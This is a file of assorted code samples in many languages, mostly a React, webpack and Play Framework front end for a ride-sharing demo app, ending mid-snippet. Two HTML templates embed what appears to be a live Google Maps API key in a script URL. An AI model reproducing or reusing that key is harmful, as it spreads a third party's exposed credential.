LanguageSamples.txt

  <pre lang="XML">
&lt;?xml version="1.0"?&gt;
&lt;DevelopmentStorage xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2009-03-18"&gt;
  &lt;SQLInstance&gt;(localdb)\v11.0&lt;/SQLInstance&gt;
  &lt;PageBlobRoot&gt;C:\Users\Carl\AppData\Local\DevelopmentStorage\PageBlobRoot&lt;/PageBlobRoot&gt;
  &lt;BlockBlobRoot&gt;C:\Users\Carl\AppData\Local\DevelopmentStorage\BlockBlobRoot&lt;/BlockBlobRoot&gt;
  &lt;LogPath&gt;C:\Users\Carl\AppData\Local\DevelopmentStorage\Logs&lt;/LogPath&gt;
  &lt;LoggingEnabled&gt;false&lt;/LoggingEnabled&gt;
&lt;/DevelopmentStorage&gt;</pre>



<pre lang="Swift">
@objc func handleTap(sender: UITapGestureRecognizer) {
    if let tappedSceneView = sender.view as? ARSCNView {
        let tapLocationInView = sender.location(in: tappedSceneView)
        let planeHitTest = tappedSceneView.hitTest(tapLocationInView,
            types: .existingPlaneUsingExtent)
        if !planeHitTest.isEmpty {
            addFurniture(hitTest: planeHitTest)
        }
    }
}</pre>




<pre lang="JavaScript">
var my_dataset = [
   {
       id: "1",
       text: "Chairman &amp; CEO",
       title: "Henry Bennett"
   },
   {
       id: "2",
       text: "Manager",
       title: "Mildred Kim"
   },
   {
       id: "3",
       text: "Technical Director",
       title: "Jerry Wagner"
   },
   { id: "1-2", from: "1", to: "2", type: "line" },
   { id: "1-3", from: "1", to: "3", type: "line" }
];</pre>


<pre lang="Javascript">
var my_dataset = [       
       {
           id: "1",
           text: "Chairman &amp; CEO",
           color: "#673AB7",
           css: "myStyle",
       },
       {
           id: "2",
           text: "Manager",
           color: "#E91E63"
       },
       {
           id: "3",
           text: "Technical Director",
           color: "#9C27B0",
           width: 200
       },
       {
           id: "1-2",
           from: "1",
           to: "2",
           css: "myConnector",
           type: "line"
       },
       {
           id: "1-3",
           from: "1",
           to: "3",
           type: "line"
       }
   ]</pre>


<pre lang="Javascript">
var my_dataset = [
       {
          "id": 1,
          "text": "item: 1",
       },

       {
          "id": 2,
          "text": "item: 2",
          "parent": 1,
          "dir": "vertical"
       },
       {
          "id": 3,
          "text": "item: 3",
          "parent": 14
       },
       {
          "id": 7,
          "text": "item: 7",
          "parent": 14
       },
       {
          "id": 14,
          "text": "item: 14",
          "parent": 2
       },
       {
          "id": 19,
          "text": "item: 19",
          "parent": 2
       }
];</pre>


<pre lang="C#">
    public class AppIntents_Droid : IAppIntents
    {
        public void HandleWebviewUri(string uri)
        {
            var appUri = Android.Net.Uri.Parse(uri);
            var appIntent = new Intent(Intent.ActionView, appUri);
            Application.Context.StartActivity(appIntent);
        }
    }</pre>


<pre lang="Python">
# Import `tensorflow` and `pandas`
import tensorflow as tf
import pandas as pd

COLUMN_NAMES = [
        'SepalLength', 
        'SepalWidth',
        'PetalLength', 
        'PetalWidth', 
        'Species'
        ]

# Import training dataset
training_dataset = pd.read_csv('iris_training.csv', names=COLUMN_NAMES, header=0)
train_x = training_dataset.iloc[:, 0:4]
train_y = training_dataset.iloc[:, 4]

# Import testing dataset
test_dataset = pd.read_csv('iris_test.csv', names=COLUMN_NAMES, header=0)
test_x = test_dataset.iloc[:, 0:4]
test_y = test_dataset.iloc[:, 4]</pre>


<pre lang="Python">
# Setup feature columns
columns_feat = [
    tf.feature_column.numeric_column(key='SepalLength'),
    tf.feature_column.numeric_column(key='SepalWidth'),
    tf.feature_column.numeric_column(key='PetalLength'),
    tf.feature_column.numeric_column(key='PetalWidth')
]</pre>


<pre lang="Python">
# Define train function
def train_function(inputs, outputs, batch_size):
    dataset = tf.data.Dataset.from_tensor_slices((dict(inputs), outputs))
    dataset = dataset.shuffle(1000).repeat().batch(batch_size)
    return dataset.make_one_shot_iterator().get_next()

# Train the Model.
classifier.train(
    input_fn=lambda:train_function(train_x, train_y, 100),
    steps=1000)</pre>


<pre lang="Python">
# Define evaluation function
def evaluation_function(attributes, classes, batch_size):
    attributes=dict(attributes)
    if classes is None:
        inputs = attributes
    else:
        inputs = (attributes, classes)
    dataset = tf.data.Dataset.from_tensor_slices(inputs)
    assert batch_size is not None, "batch_size must not be None"
    dataset = dataset.batch(batch_size)
    return dataset.make_one_shot_iterator().get_next()

# Evaluate the model.
eval_result = classifier.evaluate(
    input_fn=lambda:evaluation_function(test_x, test_y, 100))</pre>


<pre lang="JavaScript">
{
  "name": "task1webpackconfig",
  "version": "1.0.0",
  "description": "webpack 2 + TypeScript 2 + Babel example",
  "repository": {
    "type": "git",
    "url": "git+https://github.com/sachabarber/MadCapIdea.git"
  },
  "keywords": [
    "babel",
    "typescript",
    "webpack",
    "bundling",
    "javascript",
    "npm"
  ],
  "author": "sacha barber",
  "homepage": "https://github.com/sachabarber/MadCapIdea#readme",
  "dependencies": {
    "bootstrap": "^3.3.7",
    "inversify": "^4.1.0",
    "jquery": "^3.2.1",
    "lodash": "^4.17.4",
    "react": "^15.5.4",
    "react-bootstrap": "^0.28.1",
    "react-bootstrap-validation": "^0.1.11",
    "react-dom": "^15.5.4",
    "react-google-maps": "^7.0.0",
    "react-measure": "^2.0.2",
    "react-router": "^3.0.5",
    "react-stars": "^2.1.0",
    "reflect-metadata": "^0.1.10",
    "revalidator": "^0.3.1",
    "rx": "^4.1.0",
    "webpack": "^2.5.1",
    "webpack-merge": "^4.1.0"
  },
  "devDependencies": {
    "@types/jquery": "^2.0.43",
    "@types/lodash": "^4.14.63",
    "@types/react": "^15.0.24",
    "@types/react-dom": "^15.5.0",
    "@types/rx": "^4.1.1",
    "awesome-typescript-loader": "^3.1.3",
    "babel-core": "^6.24.1",
    "babel-loader": "^7.0.0",
    "babel-preset-es2015": "^6.24.1",
    "babel-preset-es2015-native-modules": "^6.9.4",
    "babel-preset-react": "^6.24.1",
    "css-loader": "^0.28.1",
    "extract-text-webpack-plugin": "^2.1.0",
    "file-loader": "^0.11.1",
    "html-webpack-plugin": "^2.28.0",
    "node-sass": "^4.5.2",
    "on-build-webpack": "^0.1.0",
    "sass-loader": "^6.0.3",
    "source-map-loader": "^0.2.1",
    "typescript": "^2.3.2",
    "url-loader": "^0.5.8",
    "webpack": "^2.4.1"
  },
  "scripts": {
    "build-dev": "webpack -d --config webpack.develop.js",
    "build-prod": "webpack --config webpack.production.js"
  }
}
</pre>


<pre lang="JavaScript">
{
  "compilerOptions": {
    "allowSyntheticDefaultImports": true,
    "moduleResolution": "node",
    "outDir": "./dist/",
    "sourceMap": true,
    "noImplicitAny": false,
    "module": "es2015",
    "target": "es5",
    "lib": ["es6", "dom"],
    "jsx": "react",
    "experimentalDecorators": true,
    "emitDecoratorMetadata": true,
    "types" : ["jquery", "lodash", "react", "react-dom", "reflect-metadata"]
  },
    "include": [
        "./src/**/*"
    ]
}
</pre>


<pre lang="JavaScript">
let _ = require('lodash');
let webpack = require('webpack');
let path = require('path');
let fs = require("fs");
let WebpackOnBuildPlugin = require('on-build-webpack');
let ExtractTextPlugin = require('extract-text-webpack-plugin');
let HtmlWebpackPlugin = require('html-webpack-plugin');

let babelOptions = {
    "presets": ["es2015", "react"]
};

function isVendor(module) {
    return module.context &amp;&amp; module.context.indexOf('node_modules') !== -1;
}

let entries = {
    index: './src/index.tsx',
    indexCss: './scss/index.scss'

};

//build it to the Play Framework public folder, which is services by the assets controller
let buildDir = path.resolve(__dirname, '../public/dist');

module.exports = {

    context: __dirname,

    entry: entries,

    output: {
        filename: '[name].bundle.[hash].js',
        path: buildDir,
		//this is to make it play nice with the Play Framework Assets controllers
		//that deals with static data
		publicPath: '/assets/dist'
    },

    // these break for node 5.3+ when building WS stuff
    node: {
        fs: 'empty'
    },

    watch: true,

    devServer: {
        open: true, // to open the local server in browser
        contentBase: __dirname,
    },

    // Enable sourcemaps for debugging webpack's output.
    devtool: "source-map",

    resolve: {
        extensions: [".tsx", ".ts", ".js", ".jsx"],
        modules: [path.resolve(__dirname, "src"), "node_modules"]
    },

    plugins: [

        //The ProvidePlugin makes a module available as a variable in every other
        //module required by webpack
        new webpack.ProvidePlugin({
            $: "jquery",
            jQuery: "jquery",
            "window.jQuery": "jquery"
        }),

        // creates a common vendor js file for libraries in node_modules
        new webpack.optimize.CommonsChunkPlugin({
            names: ['vendor'],
            minChunks: function (module, count) {
                return isVendor(module);
            }
        }),

        // creates a common vendor js file for libraries in node_modules
        new webpack.optimize.CommonsChunkPlugin({
            name: "commons",
            chunks: _.keys(entries),
            minChunks: function (module, count) {
                return !isVendor(module) &amp;&amp; count &gt; 1;
            }
        }),


        //will unlink unused files on a build
        //http://stackoverflow.com/questions/40370749/how-to-remove-old-files-from-the-build-dir-when-webpack-watch
        new WebpackOnBuildPlugin(function (stats) {
            const newlyCreatedAssets = stats.compilation.assets;

            const unlinked = [];
            fs.readdir(path.resolve(buildDir), (err, files) =&gt; {
                files.forEach(file =&gt; {
                    if (file != "fonts") {
                        if (!newlyCreatedAssets[file]) {
                            fs.unlink(path.resolve(buildDir + '\\' + file));
                            unlinked.push(file);
                        }
                    }
                });
                if (unlinked.length &gt; 0) {
                    console.log('Removed old assets: ', unlinked);
                }
            })
        }),

        //scss/sass files extracted to common css bundle
        new ExtractTextPlugin({
            filename: '[name].bundle.[hash].css',
            allChunks: true,
        }),

        new HtmlWebpackPlugin({
            filename: 'index.html',
            template: 'template.html',
        })
    ],

    module: {
        rules: [
            // All files with a '.ts' or '.tsx' extension will be handled by 'awesome-typescript-loader' 1st 
            // then 'babel-loader'
            // NOTE : loaders run right to left (think of them as a cmd line pipe)
            {
                test: /\.ts(x?)$/,
                exclude: /node_modules/,
                use: [
                  {
                      loader: 'babel-loader',
                      options: babelOptions
                  },
                  {
                      loader: 'awesome-typescript-loader'
                  }
                ]
            },


            // All files with a .css extenson will be handled by 'css-loader'
            {
                test: /\.css$/,
                loader: ExtractTextPlugin.extract(['css-loader?importLoaders=1']),
            },

            // All files with a .scss|.sass extenson will be handled by 'sass-loader'
            {
                test: /\.(sass|scss)$/,
                loader: ExtractTextPlugin.extract(['css-loader', 'sass-loader'])
            },


            // All files with a '.js' extension will be handled by 'babel-loader'.
            {
                test: /\.js$/,
                exclude: /node_modules/,
                use: [
                  {
                      loader: 'babel-loader',
                      options: babelOptions
                  }
                ]
            },

            { 
                test: /\.png$/, 
                loader: "url-loader?limit=100000" 
            },
      
            { 
                test: /\.jpg$/, 
                loader: "file-loader" 
            },

            {
                test: /\.woff(\?.*)?$/,
                loader: 'url-loader?prefix=fonts/&amp;name=fonts/[name].[ext]&amp;limit=10000&amp;mimetype=application/font-woff'
            },

            {
                test: /\.woff2(\?.*)?$/,
                loader: 'url-loader?prefix=fonts/&amp;name=fonts/[name].[ext]&amp;limit=10000&amp;mimetype=application/font-woff2'
            },

            {
                test: /\.ttf(\?.*)?$/,
                loader: 'url-loader?prefix=fonts/&amp;name=fonts/[name].[ext]&amp;limit=10000&amp;mimetype=application/octet-stream'
            },

            {
                test: /\.eot(\?.*)?$/, loader: 'file-loader?prefix=fonts/&amp;name=fonts/[name].[ext]'
            },

            {
                test: /\.svg(\?.*)?$/,
                loader: 'url-loader?prefix=fonts/&amp;name=fonts/[name].[ext]&amp;limit=10000&amp;mimetype=image/svg+xml'
            },

            // All output '.js' files will have any sourcemaps re-processed by 'source-map-loader'.
            {
                enforce: "pre",
                test: /\.js$/,
                loader: "source-map-loader"
            }
        ]
    }
};</pre>


<pre lang="JavaScript">
let commonConfig = require('./webpack.config.js');
let webpack = require('webpack');
let Merge = require('webpack-merge');

module.exports = function (env) {
    return Merge(commonConfig, {
        plugins: [
          new webpack.LoaderOptionsPlugin({
              minimize: true,
              debug: false
          }),
          new webpack.optimize.UglifyJsPlugin({
              // Eliminate comments
              comments: false,
              beautify: false,
              mangle: {
                  screw_ie8: true,
                  keep_fnames: true
              },
              compress: {
                  screw_ie8: true,

                  // remove warnings
                  warnings: false,

                  // Drop console statements
                  drop_console: true
              },
              comments: false,
              sourceMap: false
          })
        ]
    })
}</pre>


<pre lang="JavaScript">

//build it to the Play Framework public folder, which is services by the assets controller
let buildDir = path.resolve(__dirname, '../public/dist');

output: {
        filename: '[name].bundle.[hash].js',
        path: buildDir,
		//this is to make it play nice with the Play Framework Assets controllers
		//that deals with static data
		publicPath: '/assets/dist'
    },
....    
....    
....    
....    
new HtmlWebpackPlugin({
            filename: 'index.html',
            template: 'template.html',
        })
        </pre>


<pre lang="HTML">
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8" /&gt;
    &lt;title&gt;Hello React!&lt;/title&gt;
    &lt;script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBVtreRNA537_WsNSn2_kOiz3Xhm8w6pEo"
            type="text/javascript"&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div&gt;
        &lt;iframe id="comet" src="/job/streamedJob"&gt;&lt;/iframe&gt;
    &lt;/div&gt;
    &lt;div id="root"&gt;&lt;/div&gt;
    &lt;!-- Main --&gt;
&lt;/body&gt;
&lt;/html&gt;	
</pre>


<pre lang="HTML">
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8" /&gt;
    &lt;title&gt;Hello React!&lt;/title&gt;
    &lt;script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBVtreRNA537_WsNSn2_kOiz3Xhm8w6pEo"
            type="text/javascript"&gt;&lt;/script&gt;
&lt;link href="/assets/dist/vendor.bundle.5c5feaa8663412cf31c5.css" rel="stylesheet"&gt;
&lt;link href="/assets/dist/indexCss.bundle.5c5feaa8663412cf31c5.css" rel="stylesheet"&gt;&lt;/head&gt;
&lt;body&gt;
    &lt;div&gt;
        &lt;iframe id="comet" src="/job/streamedJob"&gt;&lt;/iframe&gt;
    &lt;/div&gt;
    &lt;div id="root"&gt;&lt;/div&gt;
    &lt;!-- Main --&gt;
&lt;script type="text/javascript" src="/assets/dist/vendor.bundle.5c5feaa8663412cf31c5.js"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="/assets/dist/index.bundle.5c5feaa8663412cf31c5.js"&gt;&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;		
</pre>


<pre lang="Scala">
package controllers

import javax.inject.Inject
import play.api.mvc.{Action, Controller}

class HomeController @Inject() (environment: play.api.Environment)
  extends Controller {

  def index() = Action {
    val fullpath = s"${environment.rootPath}\\public\\dist\\index.html"
    val htmlContents = scala.io.Source.fromFile(fullpath).mkString
    Ok(htmlContents).as("text/html")
  }

}</pre>


<pre lang="JavaScript">
let entries = {
    index: './src/index.tsx',
    .....
    .....
    .....
    .....
};

//build it to the Play Framework public folder, which is services by the assets controller
let buildDir = path.resolve(__dirname, '../public/dist');

module.exports = {

    context: __dirname,

    entry: entries,
	
	
	.....
	.....
	.....
	.....
	.....

}
</pre>


<pre lang="React">
import * as React from "react";
import * as ReactDOM from "react-dom";
import 'bootstrap/dist/css/bootstrap.css';
import {
    Nav,
    Navbar,
    NavItem,
    NavDropdown,
    MenuItem,
    Button
} from "react-bootstrap";
import { Router, Route, hashHistory } from 'react-router'
import { Login } from "./Login";
import { Logout } from "./Logout";
import { Register } from "./Register";
import { CreateJob } from "./CreateJob";
import { ViewJob } from "./ViewJob";
import { ViewRating } from "./ViewRating";
import { ContainerOperations } from "./ioc/ContainerOperations";
import { AuthService } from "./services/AuthService";
import { JobService } from "./services/JobService";
import { JobStreamService } from "./services/JobStreamService";
import { PositionService } from "./services/PositionService";
import { TYPES } from "./types";
import Rx from 'rx';

let authService = ContainerOperations.getInstance().container.get&lt;AuthService&gt;(TYPES.AuthService);
let jobService = ContainerOperations.getInstance().container.get&lt;JobService&gt;(TYPES.JobService);
let jobStreamService = ContainerOperations.getInstance().container.get&lt;JobStreamService&gt;(TYPES.JobStreamService);
let positionService = ContainerOperations.getInstance().container.get&lt;PositionService&gt;(TYPES.PositionService);
jobStreamService.init();


export interface MainNavProps {
    authService: AuthService;
    jobService: JobService;
    jobStreamService: JobStreamService;
    positionService: PositionService;

}

export interface MainNavState {
    isLoggedIn: boolean;
}

class MainNav extends React.Component&lt;MainNavProps, MainNavState&gt; {

    private _subscription: any;

    constructor(props: any) {
        super(props);
        console.log(props);
        this.state = {
            isLoggedIn: false
        };
    }

    componentWillMount() {
        this._subscription = this.props.authService.getAuthenticationStream()
            .subscribe(isAuthenticated =&gt; {
                this.state = {
                    isLoggedIn: isAuthenticated
                };
                if (this.state.isLoggedIn) {
                    hashHistory.push('/createjob');
                }
                else {
                    hashHistory.push('/');
                }
            });
    }

    componentWillUnmount() {
        this._subscription.dispose();
    }

    render() {
        return (
            this.state.isLoggedIn ?
                &lt;Navbar collapseOnSelect&gt;
                    &lt;Navbar.Header&gt;
                        &lt;Navbar.Brand&gt;
                            &lt;span&gt;Simple Kafka-Uber&lt;/span&gt;
                        &lt;/Navbar.Brand&gt;
                        &lt;Navbar.Toggle /&gt;
                    &lt;/Navbar.Header&gt;
                    &lt;Navbar.Collapse&gt;
                        &lt;Nav pullRight&gt;
                            &lt;NavItem eventKey={2} href='#/logout'&gt;Logout&lt;/NavItem&gt;
                            &lt;NavItem eventKey={2} href='#/createjob'&gt;Create Job&lt;/NavItem&gt;
                            &lt;NavItem eventKey={2} href='#/viewjob'&gt;View Job&lt;/NavItem&gt;
                            &lt;NavItem eventKey={2} href='#/viewrating'&gt;View Rating&lt;/NavItem&gt;
                        &lt;/Nav&gt;
                    &lt;/Navbar.Collapse&gt;
                &lt;/Navbar&gt; :
                &lt;Navbar pullRight collapseOnSelect&gt;
                    &lt;Navbar.Header&gt;
                        &lt;Navbar.Brand&gt;
                            &lt;span&gt;Simple Kafka-Uber&lt;/span&gt;
                        &lt;/Navbar.Brand&gt;
                        &lt;Navbar.Toggle /&gt;
                    &lt;/Navbar.Header&gt;
                    &lt;Navbar.Collapse&gt;
                    &lt;/Navbar.Collapse&gt;
                &lt;/Navbar&gt;
        )
    }
}

class App extends React.Component&lt;undefined, undefined&gt; {
    render() {
        return (
            &lt;div&gt;
                &lt;div&gt;
                    &lt;MainNav
                        authService={authService}
                        jobService={jobService}
                        jobStreamService={jobStreamService}
                        positionService={positionService}
                    /&gt;
                    {this.props.children}
                &lt;/div&gt;
            &lt;/div&gt;
        )
    }
}


ReactDOM.render((
    &lt;Router history={hashHistory}&gt;
        &lt;Route component={App}&gt;
            &lt;Route
                path="/"
                component={Login}
                authService={authService} /&gt;
            &lt;Route
                path="/register"
                component={Register}
                authService={authService} /&gt;
            &lt;Route
                path="/logout"
                component={Logout}
                authService={authService}
                jobService={jobService}
                positionService={positionService} /&gt;
            &lt;Route
                path="/createjob"
                component={CreateJob}
                authService={authService}
                jobService={jobService}
                positionService={positionService} /&gt;
            &lt;Route
                path="/viewjob"
                component={ViewJob}
                authService={authService}
                jobService={jobService}
                jobStreamService={jobStreamService}
                positionService={positionService} /&gt;
            &lt;Route
                path="/viewrating"
                component={ViewRating}
                authService={authService} /&gt;
        &lt;/Route&gt;
    &lt;/Router&gt;
), document.getElementById('root'));
</pre>


<pre lang="Angular">
import { injectable, inject } from "inversify";
import { TYPES } from "../types";
import Rx from 'rx';

@injectable()
export class AuthService {

    private _isAuthenticated: boolean;
    private _authenticatedSubject = new Rx.Subject&lt;boolean&gt;();

    constructor() {

    }

    clearUser = (): void =&gt; {
        this._isAuthenticated = false;
        sessionStorage.removeItem('currentUserProfile');
        this._authenticatedSubject.onNext(false);
    }

    storeUser = (currentProfile: any): void =&gt; {

        if (currentProfile == null || currentProfile == undefined)
            return;

        this._isAuthenticated = true;
        sessionStorage.setItem('currentUserProfile', JSON.stringify(currentProfile));
        this._authenticatedSubject.onNext(true);
    }

    userName = (): string =&gt; {
        var userProfile = JSON.parse(sessionStorage.getItem('currentUserProfile'));
        return userProfile.user.fullName;
    }

    user = (): any =&gt; {
        var userProfile = JSON.parse(sessionStorage.getItem('currentUserProfile'));
        return userProfile.user;
    }

    userEmail = (): string =&gt; {
        var userProfile = JSON.parse(sessionStorage.getItem('currentUserProfile'));
        return userProfile.user.email;
    }

    isDriver = (): boolean =&gt; {
        var userProfile = JSON.parse(sessionStorage.getItem('currentUserProfile'));
        return userProfile.isDriver;
    }

    isAuthenticated = (): boolean =&gt; {
        return this._isAuthenticated;
    }

    getAuthenticationStream = (): Rx.Observable&lt;boolean&gt; =&gt; {
        return this._authenticatedSubject.asObservable();
    }
}</pre>


<pre lang="React">
import * as React from "react";
import * as ReactDOM from "react-dom";
import * as _ from "lodash";
 
import 'bootstrap/dist/css/bootstrap.css';
import
{
    Button, 
    Modal
} from "react-bootstrap";
 
 
//TODO : Fix this
export interface YesNoDialogProps {
    headerText: string;
    theId: string;
    launchButtonText: string;
    yesCallBack: any;
    noCallBack: any;
}
 
export interface YesNoDialogState {
    showModal: boolean;
}
 
 
export class YesNoDialog extends React.Component&lt;YesNoDialogProps, YesNoDialogState&gt; {
 
    constructor(props) {
        super(props);
        console.log(this.props);
        //set initial state
        this.state = {
            showModal: false
        };
    }
 
    _yesClicked = () =&gt; {
        this.setState({ showModal: false });
        this.props.yesCallBack();
    }
 
    _noClicked = () =&gt; {
        this.setState({ showModal: false });
        this.props.noCallBack();
    }
 
    _close = () =&gt; {
        this.setState({ showModal: false });
    }
 
    _open = () =&gt; {
        this.setState({ showModal: true });
    }
 
    render() {
        return (
            &lt;div className="leftFloat"&gt;
 
                &lt;Button
                    id={this.props.theId}
                    type='button'
                    bsSize='small'
                    bsStyle='primary'
                    onClick={this._open}&gt;{this.props.launchButtonText}&lt;/Button&gt;
 
                &lt;Modal show={this.state.showModal} onHide={this._close}&gt;
                    &lt;Modal.Header closeButton&gt;
                        &lt;Modal.Title&gt;{ this.props.headerText }&lt;/Modal.Title&gt;
                    &lt;/Modal.Header&gt;
                    &lt;Modal.Body&gt;
                        &lt;h4&gt;Are you sure?&lt;/h4&gt;
                    &lt;/Modal.Body&gt;
                    &lt;Modal.Footer&gt;
                        &lt;Button
                            type='button'
                            bsSize='small'
                            bsStyle='primary'
                            onClick={this._yesClicked}&gt;Yes&lt;/Button&gt;
                        &lt;Button
                            type='button'
                            bsSize='small'
                            bsStyle='danger'
                            onClick={this._noClicked}&gt;Cancel&lt;/Button&gt;
                    &lt;/Modal.Footer&gt;
                &lt;/Modal&gt;
            &lt;/div&gt;
        );
    }
}
</pre>


<pre lang="React">
import * as React from "react";
import * as ReactDOM from "react-dom";
import * as _ from "lodash";
 
import 'bootstrap/dist/css/bootstrap.css';
import
{
    Button, 
    Modal
} from "react-bootstrap";
 
 
//TODO : Fix this
export interface OkDialogProps {
    headerText: string;
    bodyText: string;
    open: boolean;
    okCallBack: any;
}
 
export interface OkDialogState {
    showModal: boolean;
}
 
 
export class OkDialog extends React.Component&lt;OkDialogProps, OkDialogState&gt; {
 
    constructor(props) {
        super(props);
        console.log(this.props);
        //set initial state
        this.state = {
            showModal: false
        };
    }
 
    componentDidMount() {
        if (this.props.open === true) {
            this.setState({ showModal: true });
        }
    }
 
    _okClicked = () =&gt; {
        this.setState({ showModal: false });
        this.props.okCallBack();
    }
 
    _close = () =&gt; {
        this.setState({ showModal: false });
        this.props.okCallBack();
    }
 
    _open = () =&gt; {
        this.setState({ showModal: true });
    }
 
    render() {
        return (
            &lt;div className="leftFloat"&gt;
 
                &lt;Modal show={this.state.showModal} onHide={this._close}&gt;
                    &lt;Modal.Header closeButton&gt;
                        &lt;Modal.Title&gt;{ this.props.headerText }&lt;/Modal.Title&gt;
                    &lt;/Modal.Header&gt;
                    &lt;Modal.Body&gt;
                        &lt;h4&gt;{this.props.bodyText}&lt;/h4&gt;
                    &lt;/Modal.Body&gt;
                    &lt;Modal.Footer&gt;
                        &lt;Button
                            type='button'
                            bsSize='small'
                            bsStyle='primary'
                            onClick={this._okClicked}&gt;Ok&lt;/Button&gt;
                    &lt;/Modal.Footer&gt;
                &lt;/Modal&gt;
            &lt;/div&gt;
        );
    }
}
</pre>


<pre lang="React">
import * as React from "react";
import * as ReactDOM from "react-dom";
import * as _ from "lodash";
 
import 'bootstrap/dist/css/bootstrap.css';
import
{
    Button, 
    Modal
} from "react-bootstrap";
 
 
import ReactStars from 'react-stars';
 
 
export interface RatingDialogProps {
    headerText: string;
    theId: string;
    okCallBack: any;
}
 
export interface RatingDialogState {
    showModal: boolean;
    rating: number;
}
 
 
export class RatingDialog extends React.Component&lt;RatingDialogProps, RatingDialogState&gt; {
 
    constructor(props) {
        super(props);
        console.log(this.props); 
        //set initial state
        this.state = {
            showModal: false,
            rating:0
        };
    }
 
    _close = () =&gt; {
        this.setState(
            {
                showModal: false,
                rating:0
            }
        );
    }
 
    _open = () =&gt; {
        this.setState(
            {
                showModal: true,
                rating: 0
            }
        );
    }
 
    _ratingChanged = (newRating) =&gt; {
        console.log(newRating)
        this.setState(
            {
                rating: newRating
            }
        );
    }
 
    _okClicked = () =&gt; {
        this._close();
        this.props.okCallBack();
    }
 
    render() {
        return (
            &lt;div className="leftFloat"&gt;
 
                &lt;Button
                    id={this.props.theId}
                    type='button'
                    bsSize='small'
                    bsStyle='primary'
                    onClick={this._open}&gt;Complete&lt;/Button&gt;
 
                &lt;Modal show={this.state.showModal} onHide={this._close}&gt;
                    &lt;Modal.Header closeButton&gt;
                        &lt;Modal.Title&gt;{ this.props.headerText }&lt;/Modal.Title&gt;
                    &lt;/Modal.Header&gt;
                    &lt;Modal.Body&gt;
                        &lt;h4&gt;Give your rating between 1-5&lt;/h4&gt;
                        &lt;ReactStars count={5}
                                    onChange={this._ratingChanged}
                                    size={24}
                                    color2={'#ffd700'} /&gt;
                    &lt;/Modal.Body&gt;
                    &lt;Modal.Footer&gt;
                        &lt;Button
                            type='submit'
                            bsSize='small'
                            bsStyle='primary'
                            onClick={this._okClicked}&gt;Ok&lt;/Button&gt;
                    &lt;/Modal.Footer&gt;
                &lt;/Modal&gt;
            &lt;/div&gt;
        );
</pre>


<pre lang="React">
import * as React from "react";
import * as ReactDOM from "react-dom";
import { OkDialog } from "./components/OkDialog";
import 'bootstrap/dist/css/bootstrap.css';
import {
    Well,
    Grid,
    Row,
    Col,
    ButtonInput
} from "react-bootstrap";
import { AuthService } from "./services/AuthService";
import { hashHistory } from 'react-router';
import { Form, ValidatedInput } from 'react-bootstrap-validation';
import revalidator from 'revalidator';


let schema = {
    properties: {
        fullName: {
            type: 'string',
            minLength: 8,
            maxLength: 60,
            required: true,
            allowEmpty: false
        },
        email: {
            type: 'string',
            maxLength: 255,
            format: 'email',
            required: true,
            allowEmpty: false
        },
        password: {
            type: 'string',
            minLength: 8,
            maxLength: 60,
            required: true,
            allowEmpty: false
        }
    }
};


export interface PassengerRegistrationProps {
    authService: AuthService;
}


export interface PassengerRegistrationState {
    okDialogOpen: boolean;
    okDialogKey: number;
    okDialogHeaderText: string;
    okDialogBodyText: string;
    wasSuccessful: boolean;
}

export class PassengerRegistration extends React.Component&lt;PassengerRegistrationProps, PassengerRegistrationState&gt; {

    constructor(props: any) {
        super(props);
        this.state = {
            okDialogHeaderText: '',
            okDialogBodyText: '',
            okDialogOpen: false,
            okDialogKey: 0,
            wasSuccessful: false
        };
    }

    render() {
        return (
            &lt;Form className="submittable-form-inner"
                // Supply callbacks to both valid and invalid
                // submit attempts
                validateAll={this.validateForm}
                onInvalidSubmit={this.handleInvalidSubmit}
                onValidSubmit={this.handleValidSubmit}&gt;
                &lt;Grid&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;
                            &lt;h4&gt;Passenger details&lt;/h4&gt;
                        &lt;/Col&gt;
                    &lt;/Row&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;
                            &lt;ValidatedInput type='text'
                                label='FullName'
                                name='fullName'
                                errorHelp='FullName is invalid' /&gt;

                        &lt;/Col&gt;
                    &lt;/Row&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;
                            &lt;ValidatedInput type='text'
                                label='Email'
                                name='email'
                                errorHelp='Email address is invalid' /&gt;
                        &lt;/Col&gt;
                    &lt;/Row&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;
                            &lt;ValidatedInput type='password'
                                label='Password'
                                name='password'
                                errorHelp='Password is invalid' /&gt;
                        &lt;/Col&gt;
                    &lt;/Row&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;
                            &lt;ButtonInput
                                id="registerBtn"
                                type='submit'
                                bsSize='small'
                                bsStyle='primary'
                                value='Register'&gt;Register&lt;/ButtonInput&gt;
                        &lt;/Col&gt;
                    &lt;/Row&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;span&gt;
                            &lt;OkDialog
                                open={this.state.okDialogOpen}
                                okCallBack={this.okDialogCallBack}
                                headerText={this.state.okDialogHeaderText}
                                bodyText={this.state.okDialogBodyText}
                                key={this.state.okDialogKey} /&gt;
                        &lt;/span&gt;
                    &lt;/Row&gt;
                &lt;/Grid&gt;
            &lt;/Form&gt;
        )
    }

    validateForm = (values) =&gt; {
        let res = revalidator.validate(values, schema);

        // If the values passed validation, we return true
        if (res.valid) {
            return true;
        }

        // Otherwise we should return an object containing errors
        // e.g. { email: true, password: true }
        return res.errors.reduce((errors, error) =&gt; {
            // Set each property to either true or
            // a string error description
            errors[error.property] = true;

            return errors;
        }, {});
    }

    handleInvalidSubmit = (errors, values) =&gt; {
        // Errors is an array containing input names
        // that failed to validate
        this.setState(
            {
                okDialogHeaderText: 'Validation Error',
                okDialogBodyText: 'Form has errors and may not be submitted',
                okDialogOpen: true,
                okDialogKey: Math.random()
            });
    }

